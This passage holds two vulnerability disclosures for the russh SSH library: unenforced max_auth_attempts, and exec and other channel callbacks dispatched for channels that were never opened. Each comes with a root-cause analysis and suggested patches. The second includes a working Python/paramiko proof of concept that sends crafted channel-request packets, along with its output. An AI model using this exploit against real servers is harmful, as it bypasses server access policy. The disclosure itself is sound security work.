  • russh/src/server/mod.rs:91 (pub max_auth_attempts: usize)
  • russh/src/server/mod.rs:121 (default max_auth_attempts: 10)
  • russh/src/server/encrypted.rs:89 (USERAUTH_REQUEST dispatch into auth handler path)
  • russh/src/server/encrypted.rs:98 (self.common.auth_attempts += 1)
  • russh/src/server/encrypted.rs:53 (only runtime read of auth_attempts, used for initial reject timing, not attempt limiting)
• Default-branch history check did not show a newer merged commit adding enforcement against config.max_auth_attempts.

Reachability trace verified

1. Entry point: exported server API server::run_stream in russh/src/server/mod.rs:1049.
2. Session run loop in russh/src/server/session.rs processes incoming packets and calls reply(...) (server/session.rs:725).
3. reply forwards encrypted packets to session.server_read_encrypted(...) (server/mod.rs:1221).
4. server_read_encrypted routes USERAUTH_REQUEST to enc.server_read_auth_request(...) (server/encrypted.rs:89).
5. On each request, self.common.auth_attempts += 1 executes (server/encrypted.rs:98).
6. No comparison against self.common.config.max_auth_attempts is present in this runtime flow.

PoC

Reproduction steps and observed output

I did not run a full server process in this environment because Rust tooling is unavailable. I verified the issue from source and command output on the audited tree.

1. Show where max_auth_attempts appears:

rtk rg -n "max_auth_attempts" .scratch/russh/russh/src/server/mod.rs .scratch/russh/russh/src/server/encrypted.rs .scratch/russh/russh/src/server/session.rs

Observed:

.scratch/russh/russh/src/server/mod.rs:91:    pub max_auth_attempts: usize,
.scratch/russh/russh/src/server/mod.rs:121:            max_auth_attempts: 10,
.scratch/russh/russh/src/server/mod.rs:148:            .field("max_auth_attempts", &self.max_auth_attempts)

2. Show runtime auth-attempt handling:

rtk rg -n "auth_attempts == 0|auth_attempts \\+= 1" .scratch/russh/russh/src/server/encrypted.rs

Observed:

53:        let initial_none_rejection_wait_until = if self.common.auth_attempts == 0 {
98:                self.common.auth_attempts += 1;

3. Show production entrypoint-to-auth path references:

rtk rg -n "pub async fn run_stream|match reply\\(|server_read_encrypted\\(|server_read_auth_request\\(" .scratch/russh/russh/src/server/mod.rs .scratch/russh/russh/src/server/session.rs .scratch/russh/russh/src/server/encrypted.rs

Observed:

.scratch/russh/russh/src/server/encrypted.rs:89:                enc.server_read_auth_request(
.scratch/russh/russh/src/server/session.rs:725:                            match reply(&mut self, &mut handler, &mut pkt).await {
.scratch/russh/russh/src/server/mod.rs:1049:pub async fn run_stream<H, R>(
.scratch/russh/russh/src/server/mod.rs:1221:    session.server_read_encrypted(handler, pkt).await

4. Toolchain check:

cargo --version

Observed:

/bin/bash: line 1: cargo: command not found

Impact

Attacker model

• Attacker: unauthenticated remote client with TCP reachability to a russh-backed SSH service.
• Preconditions: deployer expects server::Config.max_auth_attempts to cap attempts.
• Impact: repeated USERAUTH_REQUEST attempts continue for a single connection beyond configured limit, increasing online guessing opportunity and backend auth workload.

Suggested fix

Enforce max_auth_attempts in the USERAUTH_REQUEST branch before invoking auth-method handlers, and fail closed once threshold is reached.

Concrete patch direction in russh/src/server/encrypted.rs:

if self.common.config.max_auth_attempts > 0
    && self.common.auth_attempts >= self.common.config.max_auth_attempts
{
    self.common.disconnect(
        Disconnect::NoMoreAuthMethodsAvailable,
        "Too many authentication attempts",
        "",
    )?;
    return Ok(());
}

How it was found and a note on tooling

The researcher synthesized three lens outputs, then revalidated each claim against current main: source presence and commit history, advisory overlap checks in both GitHub advisories and OSV, entrypoint-to-sink reachability, attacker-model realism, and execution-claim integrity. The researcher used gh, git, rg, and direct source inspection under .scratch/russh. Because Rust tooling is unavailable in this worker, this report is intentionally marked source-only.

AI assistance was used while investigating this and while drafting this report. The finding was verified by reading the cited code at HEAD. The vulnerability was not executed it, and that limit is stated plainly above rather than left implied.

Credits: arpitjain099.

There is a server-side channel state issue in russh.

After a client is authenticated, russh can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send SSH_MSG_CHANNEL_OPEN at all. It authenticates normally, then sends SSH_MSG_CHANNEL_REQUEST packets with request type exec for a range of recipient channel IDs. russh still calls the server application's exec_request handler.

This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.

Impact

An authenticated client can bypass the server application's channel-open policy.

A server may deny session channels by returning false from Handler::channel_open_session. A server may also assume that callbacks such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close are only delivered for channels that were opened and confirmed by the SSH transport layer.

That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.

The exact impact depends on the downstream application. For many SSH server use cases, exec_request, shell_request, or subsystem_request start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected exec_request action runs even though no channel was opened.

Why this is not intended behavior

SSH channel requests are not global post-authentication requests. They are operations on an existing channel.

RFC 4254 describes channel-specific messages as carrying a recipient channel number. The exec request is a SSH_MSG_CHANNEL_REQUEST for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.

The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, russh should not deliver session-specific callbacks for that recipient ID.

This is also not just a handler bug. The handler does not own the transport channel table. russh does. The application gets a channel_open_* callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.

Documentation and API boundary

The public API documentation supports this boundary.

channel_open_session is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, exec_request is the application hook for deciding what to do with a command request received on a channel.

Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.

Delivering exec_request for a recipient ChannelId that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.

Root cause

In server_read_authenticated in russh/src/server/encrypted.rs, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table.

The problematic pattern is visible in the CHANNEL_REQUEST handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal ChannelMsg into the stream API, but the handler callback is outside that guard.

For example, the exec branch has this shape:

"exec" => {
    let req = map_err!(Bytes::decode(r))?;
    map_err!(ensure_end(r))?;

    if let Some(chan) = self.channels.get(&channel_num) {
        let _ = chan
            .send(ChannelMsg::Exec {
                want_reply: true,
                command: req.to_vec(),
            })
            .await;
    }

    handler.exec_request(channel_num, &req, self).await
}

If channel_num is not open, the internal send is skipped, but handler.exec_request(...) is still called.

The same issue applies to other channel-scoped callbacks such as shell_request, subsystem_request, env_request, pty_request, data, extended_data, channel_eof, and channel_close.

There is a second related problem in server_handle_channel_open. The application-side channel reference can be inserted into self.channels even when the handler returns Ok(false). The protocol table enc.channels is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.

The authoritative source for whether a channel is established should be enc.channels, not self.channels.

Evidence from the PoC

The PoC uses a real russh server over localhost TCP. It uses real authentication with username alice and password correct. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.

POC Code :

import argparse
import sys
import time

import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
from paramiko.ssh_exception import ChannelException

CHANNEL_SCAN_END = 32


def connect(port: int) -> paramiko.Transport:
    transport = paramiko.Transport(("127.0.0.1", port))
    transport.connect(username="alice", password="correct")
    return transport


def normal_allowed(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    channel = transport.open_session(timeout=5)
    print("normal client: session open confirmed")
    print('normal client: exec "protected"')
    channel.exec_command("protected")
    time.sleep(0.25)
    channel.close()
    transport.close()


def normal_denied(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("normal client: session open denied")
        pass
    else:
        raise RuntimeError("normal denied control unexpectedly opened a session channel")
    time.sleep(0.25)
    transport.close()


def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
    print(
        "crafted packet: "
        f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) "
        f"recipient_channel={recipient_channel} "
        'request_type="exec" '
        'command="protected"'
    )
    msg = Message()
    msg.add_byte(cMSG_CHANNEL_REQUEST)
    msg.add_int(recipient_channel)
    msg.add_string("exec")
    msg.add_boolean(True)
    msg.add_string(b"protected")
    transport._send_user_message(msg)


def exploit_denied(port: int) -> None:
    transport = connect(port)
    print("malicious peer: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("malicious peer: session open denied")
    else:
        raise RuntimeError("exploit setup unexpectedly opened a session channel")

    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()


def exploit_without_open(port: int) -> None:
    transport = connect(port)
    print("malicious peer: no CHANNEL_OPEN sent")
    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--mode",
        choices=["allowed", "denied", "denied-open", "noopen"],
        required=True,
    )
    parser.add_argument("--port", type=int, required=True)
    args = parser.parse_args()

    if args.mode == "allowed":
        normal_allowed(args.port)
    elif args.mode == "denied":
        normal_denied(args.port)
    elif args.mode == "noopen":
        exploit_without_open(args.port)
    else:
        exploit_denied(args.port)
    return 0


if __name__ == "__main__":
    sys.exit(main())

The crafted packet form is:

SSH_MSG_CHANNEL_REQUEST(98)
recipient_channel = N
request_type = "exec"
command = "protected"

The PoC runs normal controls and exploit cases in one execution.

Allowed control

This proves the protected action works normally when a session channel is opened.

normal client: CHANNEL_OPEN session
normal client: session open confirmed
normal client: exec "protected"

channel_open_session called: 1
exec_request called: 1
protected action executed: 1
channel ever opened/confirmed: true
working recipient channel ids: [2]

Denied control

This proves the application policy denies session channels and a normal client cannot reach the protected action.

normal client: CHANNEL_OPEN session
normal client: session open denied

channel_open_session called: 1
exec_request called: 0
protected action executed: 0
channel ever opened/confirmed: false
working recipient channel ids: none

Main exploit: no channel open

This is the main issue.

The authenticated client does not send SSH_MSG_CHANNEL_OPEN. It sends crafted SSH_MSG_CHANNEL_REQUEST packets for recipient IDs 0..31.

malicious peer: no CHANNEL_OPEN sent
malicious peer: scanning recipient channel ids 0..31

channel_open_session called: 0
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

This removes the "guessed channel ID" concern. Every scanned recipient ID reached the protected action in the vulnerable run.

Additional variant: denied open

The client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.

malicious peer: CHANNEL_OPEN session
malicious peer: session open denied

channel_open_session called: 1
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

The denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.

Affected code path

Verified at:

f1a0f180a02ccedf48d86f2c5e0361308cf6b7c6
v0.61.1-9-gf1a0f18

The affected logic is in:

russh/src/server/encrypted.rs

The vulnerable area is:

server_read_authenticated

Channel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in enc.channels.

The affected request callbacks include:

pty_request
x11_request
env_request
shell_request
agent_request
exec_request
subsystem_request
window_change_request
signal

The same missing established-channel guard affects:

CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE

A related issue exists in:

server_handle_channel_open

Application channel references should not be retained for denied opens.

Why this belongs in russh

The application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time exec_request is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.

This is the same kind of invariant russh already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.

The safe expectation is simple:

No established channel, no channel-scoped handler callback.

Suggested fix

Before dispatching any channel-scoped callback, require the recipient ChannelId to exist in the encrypted session's established channel table and to be confirmed.

The authoritative check should use enc.channels, not self.channels.

A minimal approach is to add a helper like:

fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> {
    if self
        .common
        .encrypted
        .as_ref()
        .and_then(|enc| enc.channels.get(&channel))
        .is_some_and(|channel| channel.confirmed)
    {
        Ok(())
    } else {
        Err(Error::Inconsistent)
    }
}

Then call it before dispatching channel-scoped callbacks for:

CHANNEL_REQUEST
CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
CHANNEL_WINDOW_ADJUST

For unknown or unconfirmed channels, russh should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.

The channel-open path should also retain application-side channel references only when the open is approved:

let mut result = handler.channel_open_session(channel, self).await;

if let Ok(allowed) = &mut result {
    if *allowed {
        self.channels.insert(sender_channel, reference);
    }

    self.finalize_channel_open(&msg, channel_params, *allowed)?;
}

Regression coverage

A regression test should authenticate normally, then verify that callbacks are not reached in these cases:

1. CHANNEL_REQUEST "exec" without prior CHANNEL_OPEN
2. CHANNEL_OPEN "session" denied by the handler, then CHANNEL_REQUEST "exec"
3. CHANNEL_DATA without prior CHANNEL_OPEN
4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN

The test should fail if any channel-scoped callback such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close is invoked for a non-established channel.

A positive control should confirm that a normally opened session channel still reaches the expected callbacks.

In the local validation, the targeted regression passed after the patch:

cargo test -p russh --test channel_state_validation

The full workspace also passed:

cargo test --workspace

Duplicate check

I checked existing Eugeny/russh advisories and issue searches for terms related to:

CHANNEL_REQUEST
exec_request
channel_open_session denied
unopened channel
server_handle_channel_open
channel request handler

Existing advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.